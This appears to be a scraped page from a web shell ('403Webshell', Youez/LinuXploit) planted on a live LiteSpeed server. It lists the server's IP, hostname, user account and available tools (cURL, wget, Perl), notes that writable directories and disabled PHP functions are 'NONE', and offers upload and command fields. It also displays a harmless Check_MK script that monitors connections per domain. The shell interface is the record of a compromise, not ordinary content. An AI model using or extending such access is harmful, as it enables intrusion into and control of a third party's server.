403Webshell
Server IP : 162.19.112.25  /  Your IP : 216.73.216.88
Web Server : LiteSpeed
System : Linux qamar.tasjeel.ae 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : archiart ( 1428)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/check_mk_agent/local/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/check_mk_agent/local/Status_Litespeed_HotDomain
#!/bin/bash

RTREPORT="/tmp/lshttpd/.rtreport"
WARN_CONN=500
CRIT_CONN=750
STATE=0
MSG="No domain exceeds connection threshold"

if [ ! -r "$RTREPORT" ]; then
  echo "3 Status_Litespeed_HotDomainConnections - Cannot read $RTREPORT"
  exit 0
fi

ALERT_DOMAIN=""
ALERT_CONN=0

while read -r line; do
  if [[ "$line" =~ ^REQ_RATE\ \[APVH_ ]]; then
    # Extract domain and connection count
    DOMAIN=$(echo "$line" | sed -E 's/^REQ_RATE \[APVH_([^]:]+).*/\1/')
    CONN=$(echo "$line" | sed -E 's/.*REQ_PROCESSING: ([0-9]+).*/\1/')

    # Track only if above threshold
    if [ "$CONN" -ge "$CRIT_CONN" ]; then
      STATE=2
      ALERT_DOMAIN=$DOMAIN
      ALERT_CONN=$CONN
      MSG="CRITICAL - $DOMAIN has $CONN active connections"
      break
    elif [ "$CONN" -ge "$WARN_CONN" ] && [ "$STATE" -lt 2 ]; then
      STATE=1
      ALERT_DOMAIN=$DOMAIN
      ALERT_CONN=$CONN
      MSG="WARNING - $DOMAIN has $CONN active connections"
    fi
  fi
done <<< "$(grep '^REQ_RATE \[APVH_' "$RTREPORT")"

echo "$STATE Status_Litespeed_HotDomain conn=${ALERT_CONN};${WARN_CONN};${CRIT_CONN};; - $MSG | HOTDOMAIN_CONN=${ALERT_CONN}"

Youez - 2016 - github.com/yon3zu
LinuXploit